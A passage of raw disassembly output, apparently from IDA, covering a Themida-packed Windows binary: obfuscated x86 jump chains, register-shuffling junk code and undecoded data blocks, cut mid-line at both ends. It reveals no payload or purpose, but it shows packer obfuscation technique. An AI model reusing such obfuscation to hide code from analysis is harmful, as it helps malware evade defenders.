0B97BE9E8h, 0EAC1FFFFh, 56F28103h, 8973C228h dd 0D6355AD0h, 0E90DB979h, 0FFFFB040h, 0CEEEE95Dh, 0D001FFFFh dd 0F568535Ah, 5B7A1007h, 11D1E9h db 0 ; --------------------------------------------------------------------------- loc_560A7D: ; CODE XREF: Themida_:00550478j push 56DDh mov [esp], edx jmp loc_557B44 ; --------------------------------------------------------------------------- dw 868h dd 89000067h, 0B652240Ch, 56C680F9h, 0AAE9F588h db 8Eh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_560A9F: ; CODE XREF: Themida_:00559A87j add ebx, 4 jmp loc_563929 ; --------------------------------------------------------------------------- dw 0C781h dd 7E45860Dh, 0BE9F929h, 68FFFF4Dh, 3268h, 89240489h, 405E0h dd 3DE90000h, 6800000Eh, 38AE0A72h, 0D451E959h, 0EA81FFFFh dd 0F325A8Ah, 0C281CA01h, 0F325A8Ah, 2C28359h, 2474FF52h dd 2434FF04h, 5A2434FFh, 4C481h, 96E90000h db 45h, 2 dup(0) ; --------------------------------------------------------------------------- loc_560AFF: ; CODE XREF: Themida_:00554D4Cj pop esi mov edx, ecx pop ecx jmp loc_558546 ; --------------------------------------------------------------------------- loc_560B08: ; CODE XREF: Themida_:0055DC12j sub [esp+4], ebx sub dword ptr [esp+4], 4B373EC6h sub esp, 4 mov [esp], edx mov edx, 36B00316h sub [esp+8], edx pop edx pop ebx jmp loc_558564 ; --------------------------------------------------------------------------- db 81h, 0C7h, 22h dd 5E39DC55h, 262CF781h, 1EE9C39Bh, 66FFFFF9h, 486DE950h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_560B46: ; CODE XREF: Themida_:0055C4AEj add ecx, 4 sub ecx, 4 xchg ecx, [esp] pop esp jmp loc_561A62 ; --------------------------------------------------------------------------- loc_560B5B: ; CODE XREF: Themida_:005517F4j add ebp, esi jmp loc_554BC3 ; --------------------------------------------------------------------------- dw 3489h dd 0E0685524h, 8B00821Ch, 8950242Ch, 405E0h, 0C0830000h dd 0FA8FE904h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_560B7E: ; CODE XREF: Themida_:00558720j xchg eax, [esp] jmp loc_55D0D8 ; --------------------------------------------------------------------------- dd offset dword_434E64+4 dw 8900h dd 3668240Ch, 89000054h, 4812424h, 424h, 2434FF00h, 0FF3959E9h dd 240C89FFh, 0E90FB353h, 1F1Ah, 0D057D4BDh, 30C5814Eh dd 1B12FA8h, 242C8BEFh, 4C481h, 0EF810000h, 4, 5C243C87h dd 68240C89h, 24CDh, 50241C89h, 9734F1B8h, 2E8C16Ah, 7E8C148h dd 0EF759405h, 0A267053Dh, 7EE9EB3Ch, 0D0FFFFD5h, 0E9C2FEE2h dd 0FFFFAD34h, 0E904E883h, 0FFFFE183h, 0C9582D5Fh, 0C32113BAh dd 0FF5071E9h, 0E9D1F7FFh, 2D57h, 0D73E1B68h, 24348B78h dd 4C481h, 0C6810000h, 0B181DD73h, 415EF189h, 2026E181h dd 89531BE3h, 0EE90E9E3h, 815AFFFFh, 0F22185EFh, 81F7015Dh dd 0F22185C7h, 3C335E5Dh, 243C3124h, 8B243C33h, 0BDE92424h dd 0C1FFFF11h, 0A4E908EEh db 43h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_560C6B: ; CODE XREF: Themida_:0055A3FEj pop esp xchg ax, [esp] jmp loc_54FF17 ; --------------------------------------------------------------------------- db 83h, 0ECh, 4 dd 0FFEEB6E9h, 369B68FFh, 2C890000h, 5E93BD24h, 0FDE9192Dh dd 56FFFF3Fh, 771157BEh, 48F8E95Fh, 555A0000h, 0FFD998E9h db 0FFh ; --------------------------------------------------------------------------- loc_560CA1: ; CODE XREF: Themida_:00563A5Dj add esi, 4 jmp loc_55BB82 ; --------------------------------------------------------------------------- db 8Fh, 4, 24h dd 6624248Bh, 2404BB0Fh, 0F25DE99Ch, 74FFFFFEh, 0E95E0424h dd 0FFFF4257h ; --------------------------------------------------------------------------- loc_560CC4: ; CODE XREF: Themida_:0055766Fj add esp, 4 xchg ebp, [esp] pop esp mov [esp], ebx push edx jmp loc_559899 ; --------------------------------------------------------------------------- dd 0F747E7D1h, 47F781DFh, 810843E5h, 0F83003EAh, 81FA0156h dd 0F83003C2h, 0D0315F56h, 4EC835Ah, 89240C89h, 595E51C1h dd 0EC834E58h, 0FED4E904h, 5153FFFEh, 5467C0B9h, 81D1F75Fh dd 701805C1h, 50E18138h, 8143214Dh, 634E11C1h, 59CB89F5h dd 57BE956h, 0EE80FFFFh, 56D72C39h, 0C681E689h, 4, 8704EE83h dd 248B2434h, 241C8924h, 792C70B3h, 7904D800h, 0DB045Bh dd 52DB2CF0h, 0F6808CB6h, 5AF028FCh, 148BD704h, 4C48324h dd 5A116851h, 1C890000h, 52D8B324h, 0D588DA88h, 0E924148Bh dd 0FFFFB1ADh dword_560D7C dd 0E92434FFh, 0FFFF864Bh, 8924248Bh, 0E9512404h, 0FFFFE164h ; DATA XREF: Themida_:0054FE38o dd 0F6E95357h, 68000014h, 40844700h, 0B904BA5Eh, 0F201BF7Bh dd 0FFD7015Eh, 0E95A2434h, 0FFFFF01Bh, 57E5815Eh, 817DF200h dd 0E0000CEDh, 0FFEB896Ch, 815D2434h, 4C4h, 0BD555000h dd 7F9B3CB1h, 4EC81h, 2C890000h, 3D3BE924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_560DDE: ; CODE XREF: Themida_:00558E2Bj add esp, 4 push 1F1Dh jmp loc_55247B ; --------------------------------------------------------------------------- dw 0CB2h dd 0FF019BE9h db 0FFh ; --------------------------------------------------------------------------- loc_560DF5: ; CODE XREF: Themida_:005623AAj push esp push dword ptr [esp] jmp loc_55AA3C ; --------------------------------------------------------------------------- loc_560DFE: ; CODE XREF: Themida_:0054FF4Fj push eax mov eax, 2 add ebp, eax mov eax, [esp] jmp loc_55D41E ; --------------------------------------------------------------------------- dw 248Bh dd 0FB4BE924h, 483FFFEh, 98E90424h, 66FFFF2Ch, 2404BB0Fh dd 0A4EEE99Ch db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_560E2A: ; CODE XREF: Themida_:0055F105j sub eax, edi add eax, 14BE27E2h pop edi jmp loc_5535F0 ; --------------------------------------------------------------------------- loc_560E37: ; CODE XREF: Themida_:005607E1j mov edx, 4FC847D3h sub [edi+24h], edx pop edx push dword ptr [esp] jmp loc_557267 ; --------------------------------------------------------------------------- dd 0E9CBB450h, 0FFFF5D01h, 0FFC6015Dh, 81582434h, 4C4h dd 5F545700h, 1632E951h, 0E04FFFFh, 0E2CD828h, 535BE62Ch dd 0B7D3B050h, 4DEF8073h, 0C780C700h, 2434FF4Dh, 4C48158h dd 66000000h, 9000E951h, 1C33FFFFh, 241C3124h, 0FFB3D1E9h db 0FFh ; --------------------------------------------------------------------------- loc_560E99: ; CODE XREF: Themida_:00559633j mov [esp], cx movzx cx, al push cx pushf jmp loc_54FF17 ; --------------------------------------------------------------------------- loc_560EA9: ; CODE XREF: Themida_:00553E80j sub esp, 4 jmp loc_56047C ; --------------------------------------------------------------------------- db 0BBh, 4, 0 dd 7FE90000h, 100003Ah, 68575DEBh, 2, 0FFFB015Fh, 815F2434h dd 4C4h, 0E7E95300h db 46h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_560ED7: ; CODE XREF: Themida_:00557A60j add ebx, 69862A17h add ebx, ebp push eax mov eax, 69862A17h sub ebx, eax pop eax pop ebp jmp loc_564037 ; --------------------------------------------------------------------------- loc_560EEE: ; CODE XREF: Themida_:00559466j add ebp, 4 jmp loc_561519 ; --------------------------------------------------------------------------- loc_560EF9: ; CODE XREF: Themida_:0055A805j xor eax, edi xor edi, eax xor eax, ebp xor ebp, eax xor eax, ebp not ebp xchg eax, ebp jmp loc_55AEA4 ; --------------------------------------------------------------------------- loc_560F0B: ; CODE XREF: Themida_:005524ADj mov [esp], edx jmp loc_554088 ; --------------------------------------------------------------------------- db 0B5h dd 0D7CD802Fh, 0E5D0DDF6h, 0C013F580h, 2DE905EDh, 5C00002Fh dd 0E9240489h, 0FFFF8708h, 8749CD87h, 9291E9CDh, 348BFFFFh dd 4C48324h, 8724048Fh, 87D5F7EEh, 243431EEh, 31243433h dd 34FF2434h, 3092E924h, 34FF0000h, 24048B24h, 67EB6856h dd 3CE90000h, 8BFFFF67h, 0C483240Ch, 24043304h, 33240431h dd 248B2404h, 0F9F76624h, 81E38953h, 4C3h, 4EB8300h, 5C241C87h dd 68241C89h, 3DC4h, 0FF4663E9h db 0FFh ; --------------------------------------------------------------------------- loc_560F9D: ; CODE XREF: Themida_:0055D085j mov edx, 4 jmp loc_55CC68 ; --------------------------------------------------------------------------- db 53h dd 0C381E389h, 4, 8702EB83h, 248B241Ch, 0C896624h, 3D686624h dd 1489661Dh, 773C6824h, 4890000h, 0FE1EB424h, 0F9CC80CCh dd 0D4F6CCFEh, 0FFC2B0E9h, 80E381FFh, 0E96EFC16h, 0FFFF7EBEh dd 4C481h, 5DE90000h, 0F7000003h, 243C87D7h, 57D0F758h dd 0FF8B16E9h, 336D35FFh, 0C5810A67h, 10D67C3Ch, 0ED81C501h dd 10D67C3Ch, 0E9F50158h, 0FFFFB8A7h, 240C8966h, 0C8B60F66h dd 0E99C5166h, 0FFFEEEEBh, 53240489h, 0E980B450h, 0FFFF02B0h dd 4240481h, 59000000h, 4C181h, 68570000h, 4, 5FF9295Fh dd 0FF8E8CE9h, 3EDC1FFh, 0FB0CC581h, 5BE94E63h db 0FAh, 0FEh, 0FFh ; --------------------------------------------------------------------------- loc_561063: ; CODE XREF: Themida_:0055AC5Dj mov [esp], edx jmp loc_54FFD3 ; --------------------------------------------------------------------------- db 89h dd 0E954242Ch, 0FFFF9ED2h ; --------------------------------------------------------------------------- loc_561074: ; CODE XREF: Themida_:0055E060j mov esp, [esp] mov [esp], cx movzx cx, al push cx pushf jmp loc_558BD4 ; --------------------------------------------------------------------------- db 56h dd 165FE954h, 0C483FFFFh, 4BE5604h, 1000000h, 1C875EF3h dd 24248B24h, 4968E9F7h, 89000047h, 0FDE92414h db 0E8h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5610AF: ; CODE XREF: Themida_:0055EA1Aj mov ebx, 0FFD7F8FDh add edi, ebx jmp loc_5630DE ; --------------------------------------------------------------------------- db 0B1h dd 66D9F648h, 30C0B753h, 815B66F9h, 2ECh, 8216E900h, 0BE56FFFFh dd 36085DF4h, 0F681EED1h, 103B6F6Dh, 7E04EE81h, 4EE95985h dd 29FFFF8Bh, 34875BDEh, 24248B24h, 24148966h, 0E99C5066h dd 0FFFEEE17h ; --------------------------------------------------------------------------- loc_561100: ; CODE XREF: Themida_:005528D0j and esi, edx pop edx sub esi, 6E2B29F7h push esi mov esi, esp add esi, 4 sub esi, 4 xchg esi, [esp] jmp loc_554593 ; --------------------------------------------------------------------------- loc_56111D: ; CODE XREF: Themida_:005576EEj mov esp, [esp] add esp, 4 shr eax, 12h xor eax, ecx jmp loc_555662 ; --------------------------------------------------------------------------- loc_56112D: ; CODE XREF: Themida_:005640CEj push ecx mov ecx, 4 add ebp, ecx pop ecx xchg ebp, [esp] pop esp xor eax, [esp] xor [esp], eax xor eax, [esp] pop esp jmp loc_55582A ; --------------------------------------------------------------------------- db 83h, 0C2h, 2 dd 5C241487h, 5DE82966h, 2F3B6866h, 240C8966h, 0FF98B966h dd 0BB665366h, 81E90F2Bh, 51000044h, 4B9h, 244C0100h, 5CACE904h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_56117A: ; CODE XREF: Themida_:0055B86Cj add esp, 4 loc_561180: ; CODE XREF: Themida_:0055BBF0j sub esp, 4 mov [esp], ecx mov ecx, esp jmp loc_555341 ; --------------------------------------------------------------------------- db 2Ch, 34h, 0E9h dd 0FFFF769Bh, 0BB241C89h, 0ED8534Bh, 0D3F7DBF7h, 0B8D0C381h dd 0D8291945h, 6BC9685Bh, 4890000h, 4A585A24h, 3CA7F281h dd 0F281714Ah, 2A9D721Fh, 1F28EE81h, 0D6296CE6h, 1F28BA52h dd 0D6016CE6h, 0FF3BC2E9h, 80E700FFh, 8FE9D1C7h, 5AFFFF48h dd 0FF53F9E9h db 0FFh ; --------------------------------------------------------------------------- loc_5611E5: ; CODE XREF: Themida_:0056213Dj add ebp, 4 xchg ebp, [esp] pop esp mov ebx, ecx mov ecx, [esp] jmp loc_553F94 ; --------------------------------------------------------------------------- dw 3359h dd 3C31243Ch, 243C3324h, 0C8B60F5Ch, 7D3468h, 24348900h dd 2B668h, 48F5400h, 4EC8324h, 0E9241489h, 0FFFF61C0h dd 4BB53h, 0D9290000h, 74FF515Bh, 0E9590424h, 0FFFFE8BAh dword_561234 dd 5324048Bh, 518C68h, 779E900h, 74FF0000h, 1C8B0424h ; DATA XREF: Themida_:0054FD54o db 24h ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 push eax mov eax, 39D6423h push edi jmp loc_552DB0 ; --------------------------------------------------------------------------- dw 248Bh dd 4296624h, 0ACE99C24h db 0ECh, 0FEh, 0FFh ; --------------------------------------------------------------------------- loc_56126B: ; CODE XREF: Themida_:0055B4F7j mov eax, 339717BAh sub eax, 1 shl eax, 2 and eax, 18A33E86h push edx mov edx, 7B1F0C6Ch or eax, edx jmp loc_55FF65 ; --------------------------------------------------------------------------- dd 0C71FE953h, 84E9FFFFh, 8BFFFEECh, 8952242Ch, 4C281E2h dd 81000000h, 4ECh, 240C8900h, 4B9h, 59CA0100h, 5C241487h dd 0FFFFBA52h, 0D129FFFFh, 6896E95Ah, 8059FFFFh, 0C68074E6h dd 5AF000E5h, 5366C828h, 0FFC1F5E9h, 4EC81FFh, 89000000h dd 0C568243Ch, 5F7C0F16h, 8104EFC1h, 0A71CE5C7h, 0B3C78150h dd 57A797F1h, 7D51BE56h, 7429759Eh, 5A5E0424h, 7D51B850h dd 0C201759Eh, 0FFE211E9h, 4EA83FFh, 0E904EC83h, 4063h dd 1ED81h, 0E5810000h, 490F454Bh, 44BAC581h, 0E801FB45h dd 58C2315Dh, 815AD701h, 4C7h, 243C3300h, 33243C31h, 248B243Ch dd 2434FF24h, 0E924048Bh, 0FFFF8E3Fh, 0BE565152h, 706D5625h dd 6D5629B9h, 5EF12970h, 56E9CA89h, 81FFFF47h, 9E02F7E9h dd 8EF4E900h, 0C281FFFFh, 4, 4EA81h, 14330000h, 24143124h dd 0E9241433h, 0FFFFAE1Dh ; --------------------------------------------------------------------------- loc_56138C: ; CODE XREF: Themida_:00562B65j mov esi, 764679EBh jmp loc_5613B1 ; --------------------------------------------------------------------------- dw 0CDFEh dd 0FFEFFEE9h db 0FFh ; --------------------------------------------------------------------------- loc_56139D: ; CODE XREF: Themida_:005555E6j neg eax inc eax sub eax, 0BE09E83Ch sub edi, eax pop eax pop esi xchg edi, [esp] jmp loc_5634D5 ; --------------------------------------------------------------------------- loc_5613B1: ; CODE XREF: Themida_:00561391j add edx, esi mov esi, [esp] add esp, 4 jmp loc_54FF17 ; --------------------------------------------------------------------------- db 5Ch, 8Bh, 0Ch dd 4C48124h, 1000000h, 0BE565EF7h, 2, 835EF701h, 3C8904ECh dd 2474FF24h, 48F5F04h, 24248B24h, 0FF85F1E9h, 58C331FFh dd 3D1EF81h, 0C7811733h, 397B7918h, 0FFBFAEE9h db 0FFh ; --------------------------------------------------------------------------- loc_561401: ; CODE XREF: Themida_:0055E00Bj not eax jmp loc_5524EE ; --------------------------------------------------------------------------- loc_561408: ; CODE XREF: Themida_:00561B76j add bl, 81h sub bl, al push eax jmp loc_55A5B7 ; --------------------------------------------------------------------------- db 81h dd 0FAE58FC6h, 0EBDE930h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_56141E: ; CODE XREF: Themida_:00551E38j mov ebp, [esp] jmp loc_55BBCC ; --------------------------------------------------------------------------- word_561426 dw 8B66h ; DATA XREF: Themida_:0054FC70o dd 15E92404h, 81000004h, 9348D5F7h, 0FFF93147h, 835F2434h dd 0E98104C4h, 31176331h, 8108E9C1h, 353733C9h, 0DAE98124h dd 81A8235Ch, 967BC9EAh, 0BFEA8163h, 53598132h, 0FF2262E9h dd 0CD295BFFh, 0FF9250E9h, 4C281FFh, 0E9000000h, 0FFFF0AC3h dd 0BF574848h, 8280840Ch, 1657EB05h, 0E9F80158h, 0FFFF1A8Eh dd 685BDC88h, 2EB0h, 0FF5714E9h, 241C8BFFh, 8104C483h dd 4C4h, 24048F00h, 243CD25Ch, 0EA65E99Ch, 0C281FFFEh dd 5598324Ah, 0E9240C8Bh, 0FFFFBED5h ; --------------------------------------------------------------------------- loc_5614C0: ; CODE XREF: Themida_:0055A74Fj push eax mov eax, 156F74C3h add ebx, eax push dword ptr [esp] pop eax add esp, 4 sub ebx, 4BC26BA0h add ebx, esi add ebx, 4BC26BA0h sub ebx, 156F74C3h add ebx, 14E2775h jmp loc_55FEC4 ; --------------------------------------------------------------------------- dw 487h aSs db '$\és:',0 dw 0BE00h dd 4, 4247401h, 2434FF5Eh, 6E9555Fh, 8BFFFFEDh, 0C4812414h dd 4, 0FF0E0CE9h db 0FFh ; --------------------------------------------------------------------------- loc_561519: ; CODE XREF: Themida_:00560EF4j push esi mov esi, 4 add ebp, esi pop esi push ebp jmp loc_55F19C ; --------------------------------------------------------------------------- dd 62BF5759h, 0E92B230Dh, 0FFFF9116h ; --------------------------------------------------------------------------- loc_561534: ; CODE XREF: Themida_:0055220Fj push ecx jmp loc_5567DD ; --------------------------------------------------------------------------- dw 0E95Fh dd 0FFFF7699h, 0C5815D54h, 4, 26852h, 0E95A0000h, 0FFFF0709h dd 0E904EC83h, 0FFFF6A5Dh, 76EECD81h, 0F0E96DD4h, 0B2FFFFE8h dd 600AE972h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_56156E: ; CODE XREF: Themida_:00564069j dec ebx xor ebx, 4E6461F9h jmp loc_56526D ; --------------------------------------------------------------------------- loc_56157A: ; CODE XREF: Themida_:00562699j push ebx push esp pop ebx jmp loc_55D860 ; --------------------------------------------------------------------------- dw 0D158h dd 6BBE56E9h, 5722EB0Ah, 0ED38CDBFh, 196EE97Eh, 7F830000h dd 840F0020h, 0FFFFAB08h, 5E1468h, 241C8900h, 0FF26AAE9h db 0FFh ; --------------------------------------------------------------------------- loc_5615AD: ; CODE XREF: Themida_:00559DADj xor ecx, [esp] xor [esp], ecx jmp loc_5592B8 ; --------------------------------------------------------------------------- dd 0A3643BAh, 0F443E962h, 4BEFFFEh, 1000000h, 24348BF0h dd 0FF474FE9h, 815E54FFh, 4C6h, 224E900h, 0BD550000h, 245D44E8h dd 3EBCE952h, 685CFFFFh, 6CA4h, 0FF956FE9h, 31A8BBFFh dd 0DBF77918h, 0D3F7D3F7h, 26F3814Bh, 89BBECC3h, 57A8E9DDh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_56160E: ; CODE XREF: Themida_:0055703Bj add edx, 1D9C2CE3h add edx, ebx sub edx, 1D9C2CE3h jmp loc_5547C0 ; --------------------------------------------------------------------------- loc_561621: ; CODE XREF: Themida_:00554DD4j add ecx, eax jmp loc_5517F9 ; --------------------------------------------------------------------------- dd 4C481h, 0ECC00000h, 0BBB75308h, 0C780CFFEh, 0E9FC004Eh dd 0FFFF655Bh, 4CE9C388h, 8F000016h, 248B2404h, 24040924h dd 0E8C1E99Ch, 1C8BFFFEh, 4C48324h, 4EC8357h, 0FF243489h dd 0E9042474h, 0FFFFF8CEh, 307CB55Bh, 961FE9C5h, 8F5EFFFFh dd 10E92404h, 89FFFF7Fh, 565150E1h, 271A6F68h, 0EE815E48h dd 0D32F00C0h, 89F08950h, 0EDE958C1h db 7Dh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_56169B: ; CODE XREF: Themida_:0055351Cj xor edx, eax jmp loc_5526AF ; --------------------------------------------------------------------------- dw 895Ch dd 74FF2404h, 48B0424h, 1EE95624h db 3 dup(0FFh) ; --------------------------------------------------------------------------- loc_5616B3: ; CODE XREF: Themida_:00552D7Cj push 6CDEh mov [esp], edx mov edx, 7A117B7Ah not edx shl edx, 1 xor edx, 0BDD090Eh sub ecx, 1E3C28DEh add ecx, edx add ecx, 1E3C28DEh pop edx xchg ecx, [esp] jmp loc_5605CC ; --------------------------------------------------------------------------- loc_5616E1: ; CODE XREF: Themida_:005535D3j mov ecx, esp jmp loc_55E53A ; --------------------------------------------------------------------------- loc_5616E8: ; CODE XREF: Themida_:0055CFEEj add esi, 4 add esi, 4 xor esi, [esp] xor [esp], esi xor esi, [esp] pop esp jmp loc_55FA23 ; --------------------------------------------------------------------------- db 0FFh dd 8B042474h, 79E9240Ch, 8BFFFFDAh db 14h, 24h ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp] pop esp jmp loc_55ED6F ; --------------------------------------------------------------------------- loc_56172A: ; CODE XREF: Themida_:005593CAj push esi jmp loc_562B32 ; --------------------------------------------------------------------------- loc_561730: ; CODE XREF: Themida_:00552231j xchg ebp, [esp] pop esp mov eax, [edx] push dword ptr [esp] mov edx, [esp] push ebx push esp pop ebx add ebx, 4 push edx mov edx, 4 jmp loc_55388A ; --------------------------------------------------------------------------- dd 55BD555Eh, 53341A15h, 0DC744DBBh, 5BDD0929h, 0C103E5C1h dd 1BE902E5h db 0F3h, 0FEh, 0FFh ; --------------------------------------------------------------------------- loc_56176B: ; CODE XREF: Themida_:0056546Cj mov [esp], ebx push edx mov dh, al mov bl, dh jmp loc_5527EF ; --------------------------------------------------------------------------- loc_561778: ; CODE XREF: Themida_:00562E09j xchg edx, [esp] pop esp push esp pop dword ptr [esp] add dword ptr [esp], 4 jmp loc_555298 ; --------------------------------------------------------------------------- loc_56178C: ; CODE XREF: Themida_:00563E9Ej pop ebx add esp, 4 push edx push eax mov al, ch mov dh, al mov eax, [esp] add esp, 4 sub esp, 4 mov [esp], eax jmp loc_5565AC ; --------------------------------------------------------------------------- loc_5617AA: ; CODE XREF: Themida_:00551C28j mov ebp, 295D5EC3h and ebp, 787F33D0h push ebx mov ebx, 19CC6696h add ebp, ebx mov ebx, [esp] add esp, 4 sub ebp, 37BE6182h add ecx, 45454F39h add ecx, ebp sub ecx, 45454F39h pop ebp push ebp mov ebp, 6D437A69h push ebp not dword ptr [esp] pop ebp add ebp, 0A5EEB714h add eax, ebp mov ebp, [esp] add esp, 4 add eax, ecx jmp loc_55F48B ; --------------------------------------------------------------------------- db 89h dd 57AFE9E6h, 0C683FFFFh, 24348704h, 24048F5Ch, 0FFF13AE9h dd 52E189FFh, 0C43F56BAh, 7BF28178h, 0F70BB23Fh, 81DAF7DAh dd 760029F2h, 5AD10173h, 4E981h, 0FF510000h, 59042474h dd 5C24048Fh, 0E9243489h, 0FFFF2222h, 4EC8355h, 83242489h dd 0E9042404h, 3C43h ; --------------------------------------------------------------------------- loc_561854: ; CODE XREF: Themida_:0055F2A5j shl edi, 2 neg edi sub esp, 4 mov [esp], edx mov edx, 5ECC2FC2h neg edx jmp loc_55F4CD ; --------------------------------------------------------------------------- dw 5566h dd 5D665766h, 4F665F66h, 66FD8766h, 8166D5F7h, 6660FBC5h dd 9F98C581h, 5DE80166h, 66D80166h, 66164A2Dh, 0E9241C8Bh dd 0FFFF09F1h ; --------------------------------------------------------------------------- loc_56189C: ; CODE XREF: Themida_:005597D5j xor esi, 4D77E7D8h add edx, esi pop esi or ebp, edx mov edx, [esp] jmp loc_55F68C ; --------------------------------------------------------------------------- byte_5618AF db 68h ; DATA XREF: Themida_:0054FE94o dd 3581h, 51240489h, 0FEB9h, 9AF6800h, 1C890000h, 3F53E924h dd 0FE29FFFFh, 21E9565Fh, 56FFFFACh, 45536852h, 895A27C0h dd 24148BD6h, 4C481h, 0D6F70000h, 0E908E6C1h, 0FFFF0D20h dd 0F7BBC581h, 0E8011519h, 0FF34DCE9h, 0A3EB81FFh, 0E9613011h dd 0FFFFA64Fh, 8704C083h, 11E92404h db 0BAh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_561913: ; CODE XREF: Themida_:0055384Cj pop edi push ebp mov ebp, 30321EC3h jmp loc_551945 ; --------------------------------------------------------------------------- loc_56191F: ; CODE XREF: Themida_:0055E170j mov eax, [esp] add esp, 4 and eax, ebp pop ebp or eax, eax jmp loc_563597 ; --------------------------------------------------------------------------- loc_561932: ; CODE XREF: Themida_:0055C61Ej neg ebx push ebx not dword ptr [esp] pop ebx xor ebx, 56E34E08h add eax, 19504D65h add eax, ebx sub eax, 19504D65h pop ebx add eax, esi push esi mov esi, 58087FC7h or esi, 54414874h add esi, 0AA19CFC2h jmp loc_558717 ; --------------------------------------------------------------------------- db 5Ch, 8Bh, 3Ch dd 4C48124h, 81000000h, 4ECh, 240C8900h, 1FCF6855h, 2C8B725Ch dd 4C48124h, 0C1000000h, 0CD8106E5h, 7D4C1318h, 0B7BEED81h dd 0E989CC70h, 7E1C15Dh, 5104E1C1h, 0E92414F7h, 0FFFFE084h dd 675EC681h, 0CE014DEEh, 31A1BF57h, 0AE95016h, 54FFFFF0h dd 8124048Fh, 42404h, 1C8B0000h, 4C48324h, 0FF17B3E9h dd 0E9E328FFh, 0FFFF0D86h dword_5619D8 dd 0E9D830ACh, 0FFFF6F3Ah, 0BD242C89h, 0F59265Ah, 29F5814Dh ; DATA XREF: Themida_:0054FC8Co dd 0E963ED11h, 0FFFFFB68h, 0DCE9D3F7h, 53FFFF4Dh, 5F71E954h dd 7768FFFFh, 0E900003Eh, 0FFFEEBFFh, 0F279C268h, 24348B2Ch dd 8104C483h, 0D863DF6h, 0E9F389D3h, 0FFFEF4A8h ; --------------------------------------------------------------------------- loc_561A24: ; CODE XREF: Themida_:0055B544j add ebp, edx add ebp, 6A675F83h add ebp, 6DA7DF6h mov edx, [esp] add esp, 4 add ebp, 4 xchg ebp, [esp] jmp loc_55503B ; --------------------------------------------------------------------------- dw 0D6F7h dd 3B05C681h, 5956B344h, 26BB535Eh, 8140A520h, 7C7E27F3h dd 20CCE942h db 2 dup(0) ; --------------------------------------------------------------------------- loc_561A62: ; CODE XREF: Themida_:00560B56j mov [esp], edx xchg ecx, [esp] jmp loc_563258 ; --------------------------------------------------------------------------- loc_561A6D: ; CODE XREF: Themida_:0055030Ej sub esi, edi add esi, 32AE1441h pop edi sub ebx, esi pop esi push 4ED5h jmp loc_552F0D ; --------------------------------------------------------------------------- db 81h dd 0F00257CBh, 23C3E924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_561A8E: ; CODE XREF: Themida_:loc_5646A7j shr edx, 1 jmp loc_55511C ; --------------------------------------------------------------------------- db 1, 0E9h, 81h dd 0D567E8C1h, 0C1295D50h, 0DE3E981h, 48B5687h, 4C48124h dd 68000000h, 693Ch, 0FF1B57E9h, 2434FFFFh, 0D9D7E95Ah db 2 dup(0FFh) word_561AC2 dw 8B66h ; DATA XREF: Themida_:0054FD1Co dd 0F6682404h, 8900001Ah, 0E389241Ch, 406B6852h, 815A772Dh dd 1706E5F2h, 60CA8174h, 812EF609h, 0FE4FEAEAh, 0E9C3812Fh dd 10FE658h, 0E9EB81D3h, 8B0FE658h, 0E9E92414h db 0F4h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_561AFF: ; CODE XREF: Themida_:00564CC1j sub dl, 62h add bl, dl pop edx add bl, 0C8h jmp loc_5646F0 ; --------------------------------------------------------------------------- db 0B9h, 4, 0 dd 0CB010000h, 4C38159h, 87000000h, 248B241Ch, 0E0895024h dd 405h, 4C08300h, 0FF3A41E9h, 31BABDFFh, 7F686B76h, 8900007Fh dd 0FABB241Ch, 1477C43h, 0EC835BDDh, 240C8904h, 81E78957h dd 4C7h, 4EF8100h, 87000000h, 895C243Ch, 0E9532434h, 0FFFF4944h ; --------------------------------------------------------------------------- loc_561B68: ; CODE XREF: Themida_:00563AFEj shr bl, 4 not bl sub bl, 0F2h xor bl, ch pop ecx xor al, bl pop ebx jmp loc_561408 ; --------------------------------------------------------------------------- loc_561B7B: ; CODE XREF: Themida_:005600B1j xchg ebx, [esp] jmp loc_5533F1 ; --------------------------------------------------------------------------- db 87h dd 248B2404h, 4C48324h, 3987E9h db 0 ; --------------------------------------------------------------------------- loc_561B91: ; CODE XREF: Themida_:00557681j sub esi, 5229132Fh pop eax jmp loc_5567AC ; --------------------------------------------------------------------------- db 5Ch, 81h, 0ECh dd 4, 0FFD965E9h db 0FFh ; --------------------------------------------------------------------------- loc_561BA9: ; CODE XREF: Themida_:005621E7j pop ecx add ecx, edi pop edi jmp loc_5572EB ; --------------------------------------------------------------------------- dw 5366h dd 175CE9h db 0 ; --------------------------------------------------------------------------- loc_561BB9: ; CODE XREF: Themida_:00554A61j push dword ptr [esp] pop ebp jmp loc_556C65 ; --------------------------------------------------------------------------- dw 0C483h dd 4C38104h, 87000000h, 248B241Ch, 8BF02924h, 0C4832434h dd 7AB95104h, 51519817h, 0FEEEFCE9h, 241489FFh, 21CB68h dd 0E18BE900h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_561BF2: ; CODE XREF: Themida_:00553D10j sub esi, ebx mov ebx, [esp] add esp, 4 jmp loc_55345C ; --------------------------------------------------------------------------- loc_561C02: ; CODE XREF: Themida_:005523B0j add esp, 4 push 77E4h mov [esp], ecx push 12B92A92h jmp loc_55E1EF ; --------------------------------------------------------------------------- dw 0EE81h dd 0FFFFFFFFh, 0F331DE31h, 0D3F7DE31h, 5CE9DE87h, 89FFFF0Ch dd 4C181E1h, 83000000h, 0C8704E9h, 24248B24h, 51240489h dd 6B5693B9h, 1BA7E939h, 0EBC1FFFFh, 0BCCB8105h, 0E93E8066h dd 0FFFF9490h ; --------------------------------------------------------------------------- loc_561C5C: ; CODE XREF: Themida_:00563D6Dj mov esp, 